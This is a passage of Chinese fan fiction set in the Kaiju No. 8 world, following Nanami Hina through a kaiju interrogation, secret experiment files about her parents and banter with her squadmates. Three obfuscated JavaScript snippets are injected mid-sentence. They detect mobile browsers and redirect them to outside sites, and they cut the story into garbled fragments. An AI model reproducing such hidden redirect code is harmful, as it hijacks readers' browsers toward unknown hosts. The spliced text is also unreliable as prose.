其中有一篇先前没见过的报告编号吸引了她的注意,她在出云科技的数据库里见过完全相同的一篇,作者是七海教授夫妇二人,也就是她的父母,但依然因为权限问题,她无法查看全文,而这份报告报送到讨伐厅的时间,如果她没有记错的话,她拉到最后看到了日期,正是他们从京都去往东京不幸遇难的那一天。 扫描件上被遮挡的标题透出了一点印记,七海试着利用超人的视觉去辨别,看到了最后几个字——实验体孵化计划。 尽管不知道父母究竟研究的是什么,但她突然有点脊背发凉。 她的沉思被即将响起的电话铃声穿透,七海提前一步拿起手机,等着屏幕上出现来电显示,看到“爱告状的眯眯眼”时她砸了一下嘴,只想点下那个红色的按键。 “许久未见了,使命必达小阳菜,还有亲爱的咪咪。”保科的语调上扬。 “我们咪咪就不劳您惦记,何况你也没见过它。”七海回道,“以及保科副队长,我正在执勤待命不应该接私人电话。” “那我就长话短说,”保科解释道,“那个东西要见你。” “什么东西?”七海疑惑。 “怪兽十号,”保科的语气又变得低沉,“你上一次来究竟跟它聊了什么?” 咪咪感受到七海的情绪,嗷嗷叫了两声。 “或者说,你是不是又有什么不能上报的事情了?”保科追问。 安抚了一下怀里的猫,七海装作轻松地一笑:“副队长这么厉害不如自己继续猜猜好了。” “明天是最后的期限,它之后会被做成武器。”保科没有接话,“我等你来。” 应声挂断了电话,七海的心情再次变得不那么愉快了。 27.内勤暴言(26) 内勤暴言(外勤版本)@wffh 我只是想朝九晚五上班下班吃饭睡觉。 这样的日子怎么成幻想了。 01:12 dd/mm/yy twitter for web 七海跟伊东交完班之后是晚上七点,她正在一楼的联络室签到,咪咪则已经在她怀里呼呼大睡了起来,值班的同事终于找到机会能摸摸这只脾气古怪的猫咪,恰好七海的整个心思都在保科那通电话上,任由同事对猫猫上下其手,摸了个爽。 她实在是希望自己对未知的好奇心被自己的疲惫与懒惰打败,但是很显然她对自己的了解还是太少了,因为磨磨蹭蹭踌躇了十几分钟后,她便拿着鸣海的公用车钥匙顶着刚下的暴雨走到了停车场。而咪咪就被托付给了满眼爱意的同事,他小心翼翼双手接过去的时候,七海一瞬间觉得这可能是在一个成年男人脸上看到母性的唯一机会。 晚高峰的车流量大,驶进市区后雨水仿佛倒灌下来似的,连着几个路口都等了好几回红灯才通过,又一次被卡在倒计时两秒的时候,七海一手抓着方向盘,另一只手抵着眉心,遮住了眼前的的那些亮光。东西方向行驶的车辆车灯来回闪烁着,在湿滑的地面反射下照得她太阳穴刺痛,无数雨刮器在暴雨中不停歇地左右摇摆,混上车轮与地面摩擦的声响,好像有上万个人在她的耳朵里说话。 心情烦躁得很不寻常,七海对这样的自己有点无名火。按道理说这件事早就告一段落了,连给她批示安排任务的四之宫长官都魂归龙宁神社了,但她怎么就是觉得放不下。 可能是因为第一次与怪兽十号接触时,她还没有在讨伐时透过三号的意识了解到与九号相关的记忆,也有可能是七海知道从一开始她就对十号坦白的情报有所怀疑,因为它说自己是被创造出来的。 只不过当时的怀疑只是由于七海的直觉,她觉得这不太对劲,可又没有任何能够倚仗的证据来推翻它的说法。可自从她意外接收到了三号的意识,从那之中看到了九号的意图之后,她开始猜想也许这种链接是自由的。 这便是她决定接受十号会面的理由,她需要知道更多的事情。 来不及擦干被淋湿的头发,七海拿着证件一路直通第三部队的研发组,保科似乎是猜到了她一定会来一样,早早就等在了电梯口。 “哎哟保科副队长,这迎接的架势我可受不起。”七海把通行证挂到了脖子上,一脚迈出了电梯。 “哎您都冒雨前来加班了,我应该到基地门口接您的呀。”瞥了一眼她湿答答的刘海,保科顺手递上了手帕,一口京都腔把一句客套话说得阴阳怪气。 摆手推开对方递来的手帕,七海突然皱起眉头,走路的速度也慢了下来,保科转头跟她对视,听到她说:“三层关押都镇不住这个家伙,震得我头疼,你们的技术员都在睡觉吗?” “他们确实下班了。”保科点点头。 七海难以置信地翻了白眼:“合着我是不能下班了?” “没办法嘛,使命必达小阳菜。”保科笑了起来。 “你再说一遍我就把你的蘑菇头烫成爆炸卷。”七海下意识揉着太阳。 “你真是和鸣海越来越像了。”保科说罢推开了研发组实验室的门,小此木心美坐在监控台前,一旁的屏幕上关于十号的数据不断被刷新着。 “说话就说话,不要随便骂人。”七海又白了保科一眼,接着注意力便集中到了十号那里。 超量的镇静注射剂对它的效果不大,还是有频繁的怪兽信号在输出,整个实验室里能感知到信号的除了仪器就只有七海不断舞动的脑神经,仿佛有什么东西把这当成了琴弦一样弹来弹去。 “前辈您还有在服用抑制的药物吗?”小此木对三号基因融合后的后遗症略有耳闻,看到七海的脸色不对便问道。 “一直在吃,剂量也加了,”七海深吸了一口气,指了指旁边的机械门,“开门吧,我去见它,不是有遗言对我说么?” 随着两道机械锁咔哒落下,七海的身影出现在了监视屏上,保科刚刚抬手按下监听的按钮,镜头下的七海便立刻转身,她昂起头来,略带不满地回望了一眼,这让保科越发怀疑她是不是又藏着什么秘密了。 七海开门见山:“你有什么要问的?” “我之前就在想,我不应该见过你,但我对你有印象,对你身体里的那个东西有印象。” “是的,不应该。”七海应声。 怪兽十号的声音很明显不是通过声波传来的,它正在她的脑子里说话,反常的沟通方式带来了很奇怪的入侵感,七海忍着这种不适感,抬眼与十号对视,她知道自己是来解决那些未知的。 走马灯一般的画面从眼前闪过,就像她曾见过被奴役的怪兽三号群体,一段历史又展开了,从沉睡中被唤醒的生物,被赋予了全新的思维与目的,一张链接着无数意识的网络被铺开,亮起的每一条线末端都是一个沉睡着的个体。 它不是被创造的,它是被唤醒的。 七海被剧烈的头痛拉出了意识空间,她无力地跌坐在地上,此时给十号注射的镇静剂已经起了效,它不再频繁发出剧烈的怪兽信号,说话的语速也变得十分缓慢。 “你曾说过九号还在制造更多个你,”七海喘着气,“所以你为什么要选择站在我们这边?” “我没有站在你们这边,我更不想被当作制造品,”十号大笑出声,“但是在这里的我就是唯一的我,因为你们需要我的力量,是你们无法拥有的力量。” 保科那家伙到底跟这玩意儿谈了什么条件,七海现在觉得第三部队这群搞研发的人都不太正常了,不过她也基本上得到了自己想要的解答,艰难地扶着墙爬起身,她给监控打手势,让小此木给她开门。 离开之前她又开了口:“你有没有想过,你本来就是唯一的那个。” 这是这句话没有被十号听见,它缓缓陷入了昏睡之中。 根据上一次讨伐的结果得到的情报,怪兽九号与其增殖体,或者说是分身,它们的视野是共享的。 这一次的尝试让七海决定提出一个大胆的假设,以三号的沟通模式为例,实际上所有的怪兽都应该有一个共同的最高意识,只要这个最高意识消失,即便怪兽没有灭绝,它们也会失去行动的能力。 况且十号在对话时并没有感知到自己脑海中的信息,七海在这个阶段至少可以暂时确认,意识的链接是单向的,那么这就很有意思了。 不知道那些机密文件里能不能给她更多线索,七海琢磨着回到基地还是得去鸣海办公室偷一下电脑,虽然她是真的不太想进那个地方,她真希望长谷川副队长这个月有帮他打扫。 “是监听坏了还是他们真的没说话?”保科歪头凑近。 “真的没有说话,只不过……”小此木指着信号接收器,那里跳跃着两个不同的数字,都来自于监视屏幕中的那个空间,“怪兽信号6.3级,战力指数解放百分之九十一,上一次您测试时也出现了这个数据的。” 保科的眼睛都睁开了,要知道七海在一个月之前的极限还是百分之八十八,这会儿竟然在没有战斗服的情况下又上涨了三个百分点。 说话时机械门打开,七海先伸出手死死扒住门框,然后拖着半死不活的身子探出头来:“给我……给我……我要……” “要什么?”保科弯下腰扛起如同一滩烂泥似的七海。 “哦我知道了!”小此木立刻起身跑向旁边的医疗组办公室,打开药品柜踮脚翻出注射用的葡萄糖,又跑回来,一边说着抱歉一边半蹲下来拔开瓶口就把溶液灌进七海嘴里,“不好意思前辈,我们储备药里没有其他的了。” 缓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331120|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好一阵子,刚刚虚脱的人才恢复了正常。 “每次都觉得自己快死了。”七海长舒一口气,接过保科递来的矿泉水费力地拧开,然后喝下小半瓶。 “所以你们刚刚谈了什么?”保科完全不给她休息的机会。 “保科副队长你不觉得现在问我这个很残忍吗?”七海摇了摇头。 “我只是觉得你不想告诉我而已。”保科耸肩。 “那你都知道了还问我,”七海又喝了半瓶水,“反正跟武器设计没关系,你们适配度很高,不会出问题的。” “真是小气啊,明明还是同学呢。”保科调侃说。 “我们算哪门子同学,是你上学的时候认识我,还是我上学的时候认识你了。”听着外面的雨声渐渐停止,七海把空水瓶扔进垃圾桶起身说道,“那今晚就这样了,正式测试的时候我会跟来栖组长一起来的。” 一路把人送到楼下,保科撑开伞拿给她,然后又叫了她的名字:“七海。” “又怎么了?”她不耐烦地回头。 “算了,没什么,路上小心哟七海同学。”保科笑着挥挥手,然后在车开出大门时,表情变得复杂了起来。 他第一次和十号进行基因适配测试就是上一次七海来第三部队的时候,当模拟的设备被装在他身上的时候,大怪兽的力量瞬间侵占了他的身体,他甚至不敢想象如果二者的意识完全同步的状况。 那时在一旁监测的七海说:“既然要共存,你就和我们不一样,收起你的杀意,保科,相信它。” 一个防卫部队队员说出相信怪兽,这会是多么荒唐的事情。 “我可不会相信它,”保科微笑着,“是它向我臣服。” “随便你们怎么商量,我现在要调试同步率了,你最好继续保持清醒。” 七海说罢,保科感受到的压迫力更大了,他听见了十号狂妄的笑声,看见了自己与十号在对战的场景,两种意识就这样缠斗,一直到双方都筋疲力竭倒下,他在昏迷之际看到了第三个人的身影。 影子向他们奔来,他与十号之间随即出现了一道裂痕,就好像斩断了他们的联系一般,从那之后的两次模拟测试,保科再也没有出现过任何一次与十号意识融合的情况,他们始终保持着双意识存在的状态。 强撑着开回有明基地时,七海丝毫不奇怪鸣海又来找自己的麻烦了,毕竟自己又是没得到审批就开走了他的车。 只见原本还在和琪可露与东云说着话的鸣海突然停住了脚步,然后就快速向着七海的方向跑去钻进了她的伞下。刚刚结束了训练,鸣海浑身是汗,凑过来时的体温滚烫,要不是还在下雨,七海真的很想扔下伞赶紧溜走。 “队长,我要回宿舍的,你跟着我走没用的。”这疲惫的语调和苍白的脸色,七海仿佛才是那个在训练场待了一晚上的人。 “我要去拿丢在你那里的卡带。”鸣海接过雨伞,又向她靠近了半步,两个人的肩膀紧紧贴着,就这么挤在单人伞下。 “你不是昨天就说要拿走了吗?”七海疑问。 “我怎么知道你有没有把猫带回房间。”鸣海哼了一声。 “真是离谱。”七海嘀咕着,手指却在不自觉颤抖。 意外的触碰让鸣海变得紧张,他停下又将伞柄还给七海,然后一直盯着她的手看了好久,七海搞不懂这人又在发什么病,干脆直接甩开他进了宿舍门。 “喂,你到底上不上来?” 准备用门禁卡开门了,七海发现他还是愣在原地,便出声提醒道。 “哇,你就这么对你的队长,让他淋雨吗?”鸣海把头发上的水都蹭到她身上。 “你离我远点……远点!”七海嫌弃地赶紧让开,鸣海便又追上去。 他想刚刚那一定是错觉,那一定不是手抖,她和院长一定不一样。 28.内勤暴言(27) 内勤暴言(会议版本)@wffh 又! 开! 会! 领导一拍脑袋就要材料,一开口就要反馈。 早上开会、下午开会、晚上加班开会,每天就是开会,这单位到底是干什么的。 19:12 dd/mm/yy twitter for web 本季度的东日本会议正式开始前,伊丹长官组织了不下十次大大小小的会议,长时间未曾使用过的有名基地会议室这段时间几乎没有空闲的时候。七海甚至看到内勤行政部门那个最时髦的后辈,已经连续三天都顶着素面朝天的一张脸抱着各种材料在走廊上奔跑。 要发的公文越堆越高,要上级签署的文件就越来越多,可鸣海倒是一点不紧张,他每天醒来就是拿着游戏机走去训练室,美其名曰监督琪可露特训,但是七海觉得他就是想长谷川不要来找他去开会,这家伙完全是在躲清净。 和躲着长谷川的鸣海一样在躲避着众人的还有日比野卡夫卡,在常规的身体检查结束后,他没有收到自己的那份报告,得到的只有来栖组长的一句一切正常。但是七海的表情不是这么说的,日比野看得一清二楚,她从来栖手中接过纸质报告时那副明显欲言又止的模样,一定是发生了什么事情。 他尝试去追问,七海却没有明说,她只说她需要再调查一下,目前没有问题,让他放心。 整个基地就像暴风雨来临的前一夜似的,所有人回避着下一秒有可能发生的事情,在短暂的平和之中,将自己埋进训练场。日比野呆呆看着在对练的小此木与伊东,起身走到了室外场地,一圈接着一圈地跑,直到训练衫被汗水浸湿,两腿如同灌了铅一样,他喘着粗气躺倒在跑道上,望着乌云密布的天空。 实际上七海阳菜并非无法给出答案,她只是太清楚结果了,甚至从一开始给前辈做检测的时候,七海就已经发现了这件事,即便她没有从自己的基因或是鸣海的基因之中检测到足够明显的数据,可怪兽八号与前辈的融合确实给他们所有的适配者提了醒,被改造的基因真的会再也无法变回去。 “前辈你不可以再使用八号的力量了,你会再也无法变回人类。” 她无法轻飘飘地将这句话说出口。 更何况摆在七海眼前的待解答问题也不止这一个,借口帮忙着开会的长谷川给鸣海处理未读文件,她总算得了机会打开鸣海办公室里角落里那台连着讨伐厅内网的台式电脑。 嫌弃地踢开了堆成小山的快递盒子,七海戴上了口罩和手套,从床垫下面摸出了鸣海的证件,又环顾了一下整间办公室,至少他最近没有在屋子里吃过东西,闻不到奇怪的味道,也看不到泡面和零食的包装袋。 难怪自己抽屉里的巧克力饼干两三天就被吃完了,七海冷哼了一声。 把地上的靠垫挪了过来,七海盘腿在电脑前坐下,插上鸣海的证件,熟门熟路输入了密码,看着系统上无数个显示未读的红点,发件单位的名称五花八门,最远的时间甚至是上一年。为什么第一部队的补贴和奖金审批总是比别人慢,这理由可真是难说啊。 倒吸了一口凉气,她决定先把它们放在一边,然后输入了那个她惦记了好一段时间的机密文件编号。 由于机密等级过高,七海一开始担心鸣海的级别也不够,不过她一直都记得四之宫长官给了鸣海许多特权,因此在看到文件变成可读的瞬间总算是松了一口气,看来这家伙还是有点用处的。 真是师徒情深,她低声念叨着。 项目报告的名称明晃晃写着怪兽三号基因适配实验体孵化记录,在七海加入工作之后的怪兽基因研究工作对人体实验是有严格规定的,至少绝对没有为了某个怪兽而培育适配者的事情发生,可是很显然她父母主导的这个项目正如她所猜想的一般,讨伐厅根本就是以盗用个人基因数据的方式选拔了怪兽三号的适配者。 说是选拔可能太好听了,这些实验体们从出生起就在被监控。 她与哥哥的名字赫然在列,可惜阳平没有通过初轮筛选,而阳菜却成了排列在名单中的最首位。 这件事中最讽刺的在于,七海觉得如果她站在出云科技与讨伐厅的立场,也就是站在研发中心这群人的立场上,她甚至可以理解父母的做法。正因为他们的基因中存在着与三号共通的部分,所以刚出生的孩子也自然而然成了观察对象。这个逻辑太好解释了,最合适的实验体就在距离自己最近的地方,怎么可能会拒绝。 细细想来,七海教授二人除了京都那间破旧的一户建还有并不多的存款,根本就没留下什么给他们。 当时屋子里大多的研究资料都被处理得干干净净,电脑被搬走了,书房被清空了。七海记得自己有一本用来记录豆苗生长过程的小册子都被抢走了,就因为封面上的字迹是爸爸的。最后保留下来的只有妈妈的速写本,当时还在上小学的七海沉迷于里面那些怪兽解剖图,偷偷带去了学校,把它忘在了抽屉里。 兄妹俩来不及怀念与哀悼,阳平提前从中专毕业找了工作,因为他不希望妹妹被接去福利院。 可七海从未想过哥哥为什么能如此顺利地进入户塚建设,就像她从未想过自己后来为何能在体能测试没有达标的情况下顺利获得东京讨伐高校的全额奖学金。 现在似乎一切都有了解答,她之所以能一路走到防卫部队的核心,看似步步设置了关卡,实际上走的是已经被铺好的路。 身为研究员将自己代入实验体的视角,七海心情变得有点复杂,以至于忍不住去设想,如果通过初筛的是阳平,世界上会不会就没有她的存在了。 将这些思虑甩出脑海,她觉得握着鼠标的手有点发麻,便松开手握了握拳,然后接着点击下一页。目前对外公开过的三号适配者,一个不少,每个人都有着详实的记录,其中有几个人七海没有印象,大约是和阳平一样都是被筛出去的。 翻到参与初期装备测试的名单,七海露出了疑惑的表情,这和她一直以来得到的情报不一样,为什么会这样呢? 院长明明是一代适配者,可是这里标记的却是二号实验体,在她之前的那个名字太过陌生了,而且这个人更是除了七海之外,唯一一个符合三号全部的基因移植条件的人。更让人惊讶的是,蛛丝发射器只是三号的武器设计中的辅助装备,主装备的作用——果然是意念控制。 主装备后来被停止使用,而且还成为不得公开的秘密总要有个理由,她仔细看了这位陌生实验体的资料,和院长相同,他也在通过装备测试后参与过一次讨伐,可院长连退役后的后遗症治疗都有标明,他却只有一句“该实验体于当日入院”就再也没有跟进后续的情况。 根据报告中的时间与地点,她翻找了相关部队的讨伐记录,看到了那一次的留存影像。 “抓到入侵人员。” 突然间脖子被从后掐住,谁的食指与拇指刚好压在喉咙两侧,七海被一阵窒息感胁迫住,可她没有一点慌乱,只是很迅速地返回了桌面,接着扭过头在那只手上留下了一个深深的牙印。 “嗷!你怎么咬人啊!”鸣海连忙松手踉跄着后退了好几步,难以置信地看着眼前的女人,又低头看了看自己的手,“大拇指会废掉吧!” “是您先偷袭我的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15350897|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣海队长。”七海装作嫌弃似的擦了擦嘴。 她指尖摸过唇瓣的动作让鸣海微微皱起眉,用力咳嗽了两声,强调说:“你隔几十米都知道我出了电梯,怎么可能偷袭到你?” “既然你知道就别这么幼……”七海耸耸肩,准备起身时又被鸣海按住肩膀,他缓缓倚着她的后背坐下,顺便掏出了游戏机,点开了刚刚的存档。 “那你既然用了我的权限,就给队长大人报告一下吧。”他这样说道。 “你真的要听这种研究报告吗?”感受到男人的重量,七海艰难地将腰背挺直,本就腰肌劳损的人更是难受了。 “可以听你讲,别人说得太无聊。”鸣海一边说着一边将手伸到后面轻轻拉过她,让她靠上来。 这下七海倒是省力了不少,稍稍放松了一些,把身后的鸣海当成了舒适的靠背,她轻叹了一口气,犹豫了几秒钟,最后没有如实讲出今天所见到的一切。她总觉得这些已经无法改变的过去,她以一个当事人的身份说出来就太像是诉苦了。 避开了和自己有关的部分,七海与鸣海提到了在院长之前有一个未公开的怪兽三号适配者,现在好像还住在讨伐专门医院的特殊病房。 在打着游戏的人没有立刻做出反应,但七海确认自己听到了鸣海呼吸节奏突然间的变化,他过了好一阵子说:“来栖说过你和院长的身体状况不同,所以是真的不同吧?” “为什么问这个?”七海似乎故意忽略了鸣海话语里那显而易见的关心,“三号基因会导致的后遗症我从一开始就很清楚了。” “谁让你一直在意我会不会瞎掉,”鸣海微微转头,“我也不能让自己的队员还没退役就……” “那我保证不了,”七海直接打断了他,“所有适配者每个月都会做一次身体检查,就是重症患者复查也不会有我们这种频率的,真要有点什么事,之前就该查出来了。” “那我怎么知道你这人为什么要看这种研究资料,”鸣海转身直接面朝着她,“虽然我觉得你多看看资料救自己也比研究八号的资料好。” “前辈那情况太严重了……”七海转头看向他。 “我不听,我才不要听他的事情。”鸣海耍赖似的捂住耳朵。 无可奈何的七海拿开他的手,然后凑到耳边说:“你必须听,你是队长,你要去告诉他这件事。” 咚咚咚加快的心跳声敲击着七海的鼓膜,她在鸣海开口前又补充道:“您不许再说什么变不回人类到时候就杀掉他,我不接受。” 说话呼出的热气不知怎么蔓延开来了,鸣海觉得自己前胸后背都燃起了火,尤其是二人再次对视,他垂眼瞥见她嘴角的那颗痣时,又想到自己所有的反应都会被眼前这个女人听得一清二楚时,他连半个字都说不出来了。 见她起身准备离开,鸣海才叫住了她:“七海。” “还有事情?”她将靠垫扔回原处。 “我卡关了。”他抬手把游戏机递出去。 “滚。”七海翻了个白眼,转身去开门,握到门把手到时候她又哼了一声走回来,一把拿过游戏机,“我打过去再还给你。” 办公室大门咔哒关上,鸣海扯过鼠标,蹲在内网电脑前,打开了她刚刚最后看的影像资料。 视频里那安静得不像是讨伐区,只见站在高处的那个陌生身影闭上眼一动不动,战力解放数据就在不断飙升,临近百分百的那一刻所有的怪兽竟然同时倒下了。 “你真的只是为了研究吗?”他自言自语。 因为鸣海很清楚七海是个奇怪的女人,她在看到新的实验数据时绝对不会露出那样的表情。 29.内勤暴言(28) 内勤暴言@wffh 什么单位都有山头文化是吧? 10:12 dd/mm/yy twitter for web 速写本的纸页泛黄,封面摇摇欲坠,经不起潦草的翻阅,干净的笔触三两画就描绘出一个个奇特的生物,一直以来那都是七海眼里最有趣的图画书,哪怕父母没有一个人能空出时间给她讲故事,她也会自己想象。 年幼的孩子尚未明白渺小人类在庞然巨物前的无力,她只觉得占用了父母所有时间的东西一定拥有着无与伦比的乐趣,它们有着非同寻常的色彩、器官与骨骼。哪怕是一只眼睛,都被包裹着不同外壳,好像刻着梦幻的纹路。 清晨风起吹散海面的浓雾,阳光破开了层层叠叠的云,透过窗帘在地板上划下一道白。七海长舒一口气将速写本放回抽屉,她发现自己又失去了对时间的感知力,漫长的夜好像只是眨了眨眼。回头看着挂在扶手椅上的旧外套,空气中有飘荡的微尘,缓缓落在那上头,像被罩上一层柔光,逐渐变得透明仿佛下一秒就要消散似的。 她突然间站起来,抓过外套抖了两下,闭上眼尽力确认阳平的声音与外貌,却意识到关于哥哥的记忆和泛黄的速写本一样正在慢慢褪色,她一时间记不起哥哥叫自己名字的声音,也记不起牵着哥哥的手的触感。 时间在用最残忍的方式报复几乎烧光了一切遗物的她。 但是这样也好,七海有时候希望阳平已经忘记了她和爸爸妈妈重生在一个新的世界,他会变得健康且强大,他会收获所有的崇拜,希望他在那个世界里是比鸣海还厉害的英雄。 “反正我是做不成英雄的。” 她两手举过头顶,僵硬的关节发出了声响,又要拖着这幅生锈的骨架子去开工了,她祈祷伊丹总长官能在两小时内结束东日本会议。 公文通知的会议时间是下午一点,七海一边啃着能量棒,一边盘算着自己马上先到训练场签到,接着在一楼跟咪咪玩一会儿,再溜回办公室把昨天找到的资料看完,最后只要混进午餐时间的人流进食堂就好。 谁料从第一步就错了,七海拿着工牌打完卡刚准备转身离开时就被半路截住了,小此木广之又是那副皮笑肉不笑的表情,看得她头皮发麻。 “要去举报我逃训的话,是不用提前告诉我的。”七海扯了扯嘴角算是一个微笑。 “我又不是风纪委员长,”小此木向后面使了个眼色,“但我确实有事要报告。” “那你就更应该找上级了。”七海顺着他的视线看过去,面色凝重的日比野卡夫卡坐在长凳上一言不发。 “你不就是日比野的监管人员?”小此木压低声音,“我也不能什么事都找鸣海队长吧。” 七海心想:你倒是直说找那家伙也没用啊。 “三天前开始他就没回来过寝室,大概也没离开过训练室,我觉得应该跟你说一声。”小此木说完便加快了步伐回到了训练的队列中。 三天? 正好是她告诉鸣海关于怪兽八号与前辈的事情的那天,完全在意料之中,他们这位队长可真会说话。 不知是不是鲜少见到七海出现在人多的训练场里,队员们都装作继续做着手里的事,然后偷瞄她一眼,这给平时极力降低自己存在感的七海不小的压力,她只好别过脸去挠了挠后脑勺掩饰紧张。 不紧不慢穿过场地,她走到了日比野前辈身边,将矿泉水拧开递到了他手边,深吸一口气在长凳另一边坐下。 “虽然我基本上能猜到鸣海跟前辈你说了什么,”七海开口,“我也不希望你离开防卫队。” “七海……”日比野抬起头。 “很糟糕吧,现在这个情况,虽然都是大怪兽的适配者,可我能贡献出的战力太少了,鸣海也一样,至少在面对怪兽九号的时候,一个人就是送死。”七海低头去看他手背上无法恢复的怪兽印记,“所以前辈,你是必要的战力,我们必须利用你。” 她听起来既内疚又无奈,哪怕这本就不是她的责任,日比野尝试着和往常一样,像他过去一直做的那样,扮演足够善解人意的老实人前辈。 “这是我自己的决定,就算你们都没有说,我也会这么做的,能不能变回人类,会不会因此死掉,我都不会在意。” “我没想跟前辈谈什么和牺牲有关的庞大话题,我并不认为生命是可以叠加的,一条命不是最小的量级。”七海自己把水又拿回来仰头灌了一大口,“讨伐从来都不是求死的事业,我会找到最优解的,至于前辈你的话,不睡觉是没意义的。” “我是不是被你嫌弃了智商?”日比野反应过来。 “没有嫌弃,是陈述事实,”七海点了点头。 “那你为什么要点头啊,”日比野哭笑不得,“你才是应该多睡觉吧,眼睛红血丝和蜘蛛网一样。” “我有想过要睡觉的,不过总是一眨眼天就亮了。”七海喝下剩下的水,把瓶盖拧回去的时候费了点力气,然后打了个呵欠。 “热牛奶呢,不管用吗?”日比野关心道。 “我又不是小学生,”七海笑出来,“因为轮值的时候吃不了地///西///泮。” “你就没有不吃安眠药的选项吗?”两个人的谈话氛围逐渐恢复到从前的状态。 “这么一说,”七海思索了一下,“也不能说完全没有,只不过……” 因为每次鸣海跑来找自己打游戏的时候,总会同时把困意带进门,握着手柄没多久,她就能在闪着亮光的屏幕影响下,坐着昏睡过去。 “不过什么?”日比野追问。 “不太符合公序良俗。”七海微微皱眉。 日比野的大脑当机了几秒钟,接着满脸涨得通红,往边上让了好一段距离:“这种事我不能听啊,我还要活命的!” “前辈你在想什么?”七海扭头反问。 “我不知道啊,我怎么会知道你们,我真不知道。”日比野说着把长凳上的空瓶一把抓过,“我去扔垃圾!” 看着前辈狂奔着远离的背影,七海想起来自己忘记提醒他可以去领回个人通讯工具了,伊丹长官那里的审批已经通过了,监察部门昨天就发了通知。 逃跑的日比野卡夫卡的确误解了一些事,可他也只是和第一部队其他的同事一样,没有办法用平常心去看待会在同一间寝室或者办公室里过夜的一对异性。 端着高过头顶的一盘肉饼,七海小心翼翼穿梭在食堂的桌子之间,然后在东云凛的对面坐下,肉饼小山摇摇晃晃,最顶上的一块差点掉在地上,幸好她反应够快,歪头用嘴巴咬住,看得东云瞪大了眼,甚至要鼓掌。 “采访你一个问题?”东云拿起勺子对准她。 “唔,嗯。”七海咀嚼着嘴里的肉饼应声。 “你每次进食堂只刷一次卡吗?”东云问。 努力将食物咽下,七海摇摇头:“当然不是,我都刷六次。” “啊?” “假的,我一次也不刷。”七海说着话的时候正以飞快的速度消灭着肉饼小山,“我的饭卡在鸣海那里。” “啊?” “行政两个月里给他补了三回饭卡,最后他没弄丢的还是只有我的。”早已习以为常的七海根本不觉得自己的解释有什么问题,“至于我的饭量,刷脸就可以了。” “啊——”东云抿着嘴缓缓点头,眼神里掺杂着同情、疑惑与一丝丝祝福。 “别吃了,队长让我们去楼下集合。”路过的三宅单手拿着空餐盘敲了敲这边的桌面提醒道。 “这就来了?”东云慌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15355423|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙将剩下的咖喱饭一股脑推进嘴里,腮帮子鼓鼓囊囊的,起身要走时看了一眼还在品鉴午餐的七海。 “我也讨厌蘑菇头,所以我不想去,”七海朝着他们挥了挥手,“拜拜。” 东云跟着三宅一起奔向电梯时,木梨也追了上来,他问前面俩人:“七海不跟着来不会出事吗?” “好问题。”三宅思索道。 “很难说,”东云也逐渐放慢了脚步,接着瞬间转身跑回去,冲进门就拿起那盘肉饼,然后拉过七海,“边跑边吃!” “我都说不想去了——啊我的肉!”东云的力气太大了,七海觉得自己这一路有一半都是被拖着走的。 听到了主人动静的咪咪从联络室的窗户探出脑袋,眼珠子瞪得圆滚滚的,视线一下子就粘在了肉饼上,它一跃跳上一楼的门禁闸口,然后又跳到了东云的肩上,冲着盘子就要一头栽下去。 幸好一旁的三宅反应够快,他先是捞起咪咪,然后反手便扔到了七海怀里。 当四人一猫到达集合地时,保科宗四郎带领的第三部队全体正式队员正从车上挨个儿走下来,鸣海的注意力全在他的身上,因此七海一手接过盘子,一手扶着爬到肩膀上的咪咪,站在了离鸣海最远的位置,以三口一个的速度吃着肉饼。 三年没有来过第一部队的保科似乎对这盛大的欢迎仪式很满意,见鸣海带人堵在了通往基地会议室的大路上,他的笑意反而更深,尤其是手底下的队员们已经开始了互相的挑衅,这副热闹景象可太有意思了。 在吵吵嚷嚷之中,保科注意到了某人肩头那只张大嘴打呵欠的猫,自然也注意到了带着一脸“与我无关”的神情在角落吃东西的某人,于是他没有再接鸣海的话,而是迈着步子走到了七海的面前。 “真是太辛苦了,使命必达小阳菜为了迎接第三部队连午饭都来不及吃。”保科经常在鸣海的面前直呼七海的名字。 “这是你能直接叫的名字吗?”鸣海回过头和忙着咀嚼腾不出空的七海对视了一眼,她用眼神警告“你小子少说两句得了”,但这对鸣海完全没用。 “怎么了呢,这么好的名字不能说吗,还是你们部队的人都不愿意说?”保科的语气根本就是想两对人直接在这儿打一架,“那我当然要多说几次了。” “保科……”鸣海正要向前,咪咪先跑到了二人之间,依然无法习惯猫咪这种毛茸茸的存在,鸣海直接被定在了原地。 “是小猫!” 第三部队的队员有谁惊叹出声。 “好可爱!” 